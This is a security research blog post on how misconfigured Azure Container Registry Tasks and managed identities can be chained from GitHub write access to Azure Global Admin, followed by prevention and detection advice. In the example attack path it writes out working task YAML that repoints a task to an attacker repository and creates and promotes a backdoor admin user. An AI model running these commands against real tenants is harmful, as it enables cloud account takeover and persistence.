Apr 20 2022 | Andy Robbins

Abusing Azure Container Registry Tasks

Intro and Prior Work

More and more organizations are adopting cloud computing, migrating existing business processes and creating new business processes in Azure, AWS, and GCP. One of the most common processes, and a category that each cloud computing vendor is heavily incentivized to support is DevOps. In this post, I will explain how one Azure service supporting DevOps can start in a very solid “secure by default” state, but then quickly descend into a very dangerous configured state.

To be abundantly clear: there is no exploit here. No patchable vulnerability. If you’re looking for elite 0-days, look elsewhere. This system, as designed by Microsoft, does not present any risk as far as I can tell when the service is first instantiated in an Azure environment. However, it can be very easy for an Azure admin to introduce dangerous configurations into ACR that an attacker may be able to find and abuse, and we have seen plenty of examples of those configurations in real environments.

There’s some great prior work in this area, specifically when it comes to abusing managed identity configurations in AzureRM:

From Karl Fosaaen:

From Lina Lau:

How to Detect Malicious Azure Persistence Through Automation Account Abuse

From Huy Kha:

Lateral Movement With Managed Identities Of Azure Virtual Machines

To explain at a high level what can (and often does) happen, let’s quickly review how role assignments and trusts work in Azure.

AzureAD, AzureRM, Trusts, and Role Assignments

Let’s say for example you want to run a Virtual Machine in Azure. You will need an AzureAD tenant, a user, and an Azure subscription that has a trust relationship (yellow) with your AzureAD tenant.

Your user will not, by default, have control of anything in AzureRM, but the trust relationship enables you, as a Global Administrator, to grant your user control of anything in AzureRM through role assignments (blue):

Additionally, you may choose to create a service principal in Azure and assign the VM to that service principal through the concept of managed identities:

The dotted lines above represent non-default, but extraordinarily common configurations in Azure. Let’s set all of this in stone, replacing our theoretical dotted lines with solid lines, meaning the configurations have been set:

By setting these configurations, we have just created an attack path starting at the User and ending with control of the Service Principal:

The User didn’t need to be a Cloud App Admin, or an App Admin, or have explicit control of the Service Principal itself, but because role assignments in AzureRM always inherit down to all descendent objects, an attack path has emerged resulting in allowing the User to compromise the Service Principal. The attack path can then continue, abusing whatever privileges have been granted to the Service Principal.

This concept of chaining disparate, seemingly low-risk and unrelated configurations into devastating attack paths is elegantly summarized by John Lambert:

body[data-twttr-rendered=”true”] {background-color: transparent;}.twitter-tweet {margin: auto !important;}

— @JohnLaTwC

Do not so easily fall into the trap of thinking that no admin in their right mind would ever introduce such dangerous configurations. Decades of experience attacking on-prem AD environments, stories shared by our industry colleagues, and several very public breaches have taught us that if a system can be configured into a dangerous state, it very often will be.

What is ACR?

Azure Container Registry (ACR) is Microsoft’s implementation of the Open Container Initiative’s (OCI) Distribution Spec, which itself is based on the original Docker Registry protocol. In plain English: ACR stores and manages container images for you. ACR serves those images, making them available to run locally, on some remote system, or as an Azure Container Instance. You can think of ACR as being somewhat analogous to your very own Docker Registry.

Azure Container Registries are instantiated as “Container registry” resources in Azure Resource Manager (Azure RM). Here you can see I’ve selected my ACR called “specterdev” under my “BHE_SpecterDev_CR_RG” resource group:

This object resides within a greater hierarchy with my Azure AD tenant at the top, and the ACR as the final descendent object in that hierarchy:

What are ACR Tasks?

By itself, ACR does a great job of storing images, managing access to those images, and replicating images to other geo locations (with the premium SKU, of course). But ACR tasks are where the power of ACR really shines.

Clicking on the ACR, we can see in the left navigation an item called “Tasks”. Clicking this will show you the list of tasks configured on this ACR. In this example, you can see I’ve already added a collection of (very) cool tasks to my ACR:

ACR tasks comprise a build compute execution workflow that can automatically perform all kinds of actions to keep your images up-to-date on a schedule, or whenever certain triggers happen: like whenever your container’s base image updates. Tasks themselves run on ephemeral virtual machines in Azure, and the actions that virtual machine takes are defined in a Tasks YAML file — just like GitHub Actions.

The Tasks YAML enables container builds, which involves running any sort sort of commands. They can be as simple or as complex as you can imagine. Here’s a very simple “hello world” Tasks YAML:

version: v1.1.0

steps:

- cmd: bash echo hello world

When the Task runs, it reads the contents of that YAML from the Git repository, then the ephemeral virtual machine does what the YAML file says to do:

When the task is done, the ephemeral virtual machine stops and is destroyed, never to be seen or heard from again. The next time the task runs, a new ephemeral nested virtual machine is created for that particular “run” of the task.

Note: the above-mentioned behavior of ephemeral virtual machines is a testament to how well-thought-out ACR Tasks are from a security perspective. Limiting the lifetime of the VM dramatically reduces the likelihood of sensitive data being stolen from the VM.

ACR Tasks and Service Principals

Many of the practical, legitimate use-cases for ACR Tasks involve updating, or otherwise performing actions against, resources in AzureRM. In order to do this, the task runner needs a way to authenticate to Azure — you don’t want to just allow anonymous access to your resources, do you? The solution: managed identities!

Tasks can have either system- or user-assigned managed identities assigned to them. This tells Azure that the task runner is authorized to authenticate to Azure services as that service principal, without needing to provide a credential. This means that when you create your Tasks YAML file, you don’t need to provide any credentials at all for the task runner. This is a great solution for mitigating the risk of leaking credentials:

Remember our simple “hello world” task YAML from earlier? Let’s flesh it out a little more by using our task’s managed identity to authenticate to AzureAD and list all the groups in the tenant. Our task YAML for this looks like this:

version: v1.1.0

steps:

- cmd: az login — allow-no-subscriptions — identity

- cmd: az ad user list

When this task runs, the output looks like this:

At the bottom: the beginning of our JSON-formatted list of groups in the Azure AD tenant.

ACR Tasks Abuse #1: Privilege Escalation via Task Control

With control of the container registry, we gain control of the configuration for the tasks themselves, which means we can reconfigure the task to pull and run our own evil YAML file instead of the legitimate YAML file.

Who can do this? There are currently 19 role definitions that can be scoped against an ACR. Two of those allow for direct manipulation of a task: Owner and Contributor. Anyone with the User Access Administrator role against the ACR can give themselves (or anyone else) Owner or Contributor, and then manipulate the task.

But don’t forget that in AzureRM, role assignments inherit down to all descendent objects, meaning anyone with control of any of the objects in purple will have control of the task as well:

Ok, let’s move on. Say we have an existing, legitimate task called MyLegitTask. We can use the AzureRM API to read the current configuration of this task, paying special attention to the location of the YAML file this task will read and execute:

The task runner will download the repo located at https://github.com/wald0AzureResearch/AzureOIDC.git, then read the file in that repo located at .github/workflows/acr.yml, and execute the steps listed in that file. You can see that file for yourself here.

All we need to do now is create our own evil YAML file and reconfigure this task to run that instead. For this example, our evil YAML file will list the users in the tenant, instead of the groups. First, we will create our evil YAML file and host it on our evil GitHub repo:

Then we need to reconfigure the task to pull from our evil repo and run our evil YAML file. There are several ways to do this, but I prefer to directly communicate with the API rather than go through the az binary:

Now we will verify that the task has indeed been updated:

Finally, we will run the task and see that the task is indeed running our evil “az ad user list” command:

This may be a privilege escalation attack path if the configured Service Principal has more (or different) privileges than the user we started off as. This is very often the case in real environments.

ACR Tasks Abuse #2: Initial Access via YAML Poisoning

This is pretty straight-forward. Our ACR task is pulling the tasks YAML from a GitHub repository. If we have write access on the tasks YAML, we can alter the behavior of the task without having any initial authentication or authorization into the Azure tenant or subscription whatsoever.

MyLegitTask is configured to pull the legitimate tasks YAML from the legitimate GitHub repository. The legitimate task YAML is listing the groups from the tenant:

Now, as a GitHub user with write access to this YAML file, we will change the file to list service principals instead of groups:

The next time the task runs, it will list service principals after pulling the poisoned tasks YAML. If the service principal has rights to create users, we have a super simple initial access primitive. It may also be possible to leak the JWT for the Service Principal to a system you control, and then directly authenticate to Azure services as that Service Principal, again resulting in initial access into the tenant.

Example Attack Path — The Plan

Let’s look at an example attack path combining the two abuses, turning control of a GitHub organization into Global Admin in an Azure tenant. First, let’s introduce the moving pieces and how they connect, starting with our legitimate GitHub organization:

The legitimate GitHub organization contains a GitHub repo, which itself contains two Task YAML files: YAML A and YAML B. An administrator of the GitHub organization can grant themselves write access on these YAML files.

Next, we need to introduce our AzureAD and AzureRM infrastructure. This is what a typical hierarchy looks like, with different ACRs managed under distinct Resource Groups. We also have two service principals which exist directly under the tenant:

Next, let’s introduce our attacker-controlled evil GitHub organization, and the evil task YAML file the attacker has created in a repo there:

Now let’s introduce some typical configurations. Task YAML A will be read and executed by ACR Task A, YAML B by Task B. ACR Task A will have Service Principal A assigned to it, and Task B will have Service Principal B:

Let’s also give these Service Principals some privileges. We’ll say Service Principal A has Contributor against the Subscription, and Service Principal B has been granted Global Admin (or can escalate to Global Admin using various techniques):

Let’s break this attack path down into its composite parts:

Phase 1: Poison YAML Task A.

In this phase, we are very simply turning our control of the GitHub organization into control of Task YAML A, overwriting it with our own evil contents:

How we edit this file, though, relies on information related to phase 2 and 3 of the attack, so we will come back to the actual contents of this file later.

Phase 2: ACR Task authenticates as Service Principal A

When ACR Task A runs our poisoned Task YAML A file, it will be able to authenticate to services in our Azure instance as Service Principal A without needing to know the credential of that principal:

Phase 3: Service Principal A can edit ACR Task B

In this phase, we will take advantage of how AzureRM handles role assignments. In AzureRM, role assignments always inherit down to all descendent objects, so control of this subscription means control of all objects under that subscription. Because Service Principal A has “Contributor” access on the subscription, it also has Contributor access on ACR Task B:

Phase 4: Reconfigure Task B to pull from the Evil GitHub Organization

Because we control Task B, we control which git repo it will clone, and which YAML file it will execute. We will reconfigure Task B to pull from our evil GitHub org instead of the legitimate GitHub org (we could also just overwrite the existing legit Task YAML B, but let’s redirect to a different git repository just to show that we can):

Phase 5: ACR Task B authenticates as Service Principal B

ACR Task B is already assigned the SP B identity, so when this task runs it will be able to authenticate to the Azure environment as this SP without knowing its credentials:

Phase 6: Service Principal B has Global Admin Rights:

Service Principal B is already assigned the Global Admin role, or can elevate itself to Global Admin in some other way. This marks the conclusion of our attack path:

Example Attack Path — The Execution

To execute this attack path, we are actually going to start at Phase 4, not 1. We need to stage our evil YAML file in the evil repo with our evil actions that will be performed as SP B. Our evil actions will be to create a new user and promote it to Global Admin. The content of our evil YAML, staged in our evil repo, is:

version: v1.1.0

steps:

- cmd: az login -allow-no-subscriptions -identity

- cmd: a=$(az ad user create -display-name EvilHacker -password EvilHacker123 -user-principal-name “EvilHacker” | jq ‘.objectId’)

- cmd: az rest -method POST -uri ‘https://graph.microsoft.com/beta/roleManagement/directory/roleAssignments' — body ‘{“principalId”: ‘“$a”’ , “roleDefinitionId”: “62e90394–69f5–4237–9190–012177145e10”, “directoryScopeId”: “/”}’

Now, with control of the Legit GitHub Organization, we are going to overwrite Task YAML A. Currently Task YAML A has this content:

We need to poison this so that the next time Task A runs, it reconfigures Task B to run our staged evil YAML every hour on the hour. Our poisoned A.yml will look like this:

version: v1.1.0

steps:

- cmd: bash echo Hello from the legit YAML

- cmd: az login -allow-no-subscriptions -identity

- cmd: az acr task update -n TaskB -r specterdev -f evil.yaml -context https://github.com/MyEvilGitHubOrg/MyEvilRepo.git -schedule “0 */1 * * *”

Now we wait for this Rube Goldberg-esque attack path to execute itself. Once Task A runs, it will reconfigure Task B, which will create a new user that we know the password for and promote that user to Global Admin:

Prevention

Many AzureRM resource types can have service principals assigned to them as Managed Identities, so the best bang for your buck is going to be with first discovering the privileges held by your service principals and trimming those privileges back wherever possible. There are many ways to skin that cat, but this PowerShell script will tell you which Service Principals have the most highly privileged AzureAD admin roles and the most highly privileged MS Graph API app roles:

Here’s an example of the script in action:

Take this output and determine whether the service principals listed actually need those privileges — they very likely can accomplish their tasks with less privilege.

You should also monitor for service principals being assigned very highly privileged AzureAD Admin roles as well as MS Graph app roles. This documentation from Microsoft provides very good guidance on how to do this: https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#application-permissions

Detection

The Task Overwrite primitive can be detected with the built-in Microsoft.ContainerRegistry/registries/tasks/write log in AzureRM. Any time a task is updated, this log fires and tells you the task that was updated, and the object ID of the principal that updated the task:

Detecting the YAML poisoning primitive is a little trickier, as you first need to locate each YAML file each of your existing tasks is executing. You can do that with this little bit of PowerShell:

And here’s an example of that PowerShell script running:

Now that you know all task YAMLs executed by all tasks across all ACRs across all your subscriptions, you can monitor for changes on those YAML files in various ways. In fact, you can even use ACR tasks themselves to monitor for potentially dangerous modifications to these YAML files: https://blog.gripdev.xyz/2020/11/11/azure-devops-how-to-run-a-task-if-files-have-changed-since-last-build/

Conclusion

ACR is a powerful Azure service that, by itself, doesn’t appear to introduce any unnecessary risk to your subscription or tenant. But it can quickly get into a dangerous state given certain configurations. It’s vital that Azure admins understand those dangerous configurations and avoid introducing them, and even more important for admins to periodically audit for the existence of those configurations in their production environments, lest an attacker discover and exploit those configurations.

This is just one of the several services in AzureRM that can allow for indirect takeover of a privileged AzureAD Service Principal. We are cataloging the various services, abuse primitives, and required privileges to execute those privileges, and building automation around validating those primitives and required privileges over time. Keep an eye out for that in the future.

References

https://www.thorsten-hans.com/tags/azure-container-registry/

https://docs.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml

https://thecodeattic.wordpress.com/2021/08/24/a-look-at-acr-tasks/

https://docs.microsoft.com/en-us/azure/container-registry/container-registry-tasks-authentication-managed-identity

https://docs.microsoft.com/en-us/azure/container-instances/using-azure-container-registry-mi#code-try-10

Abusing Azure Container Registry Tasks was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.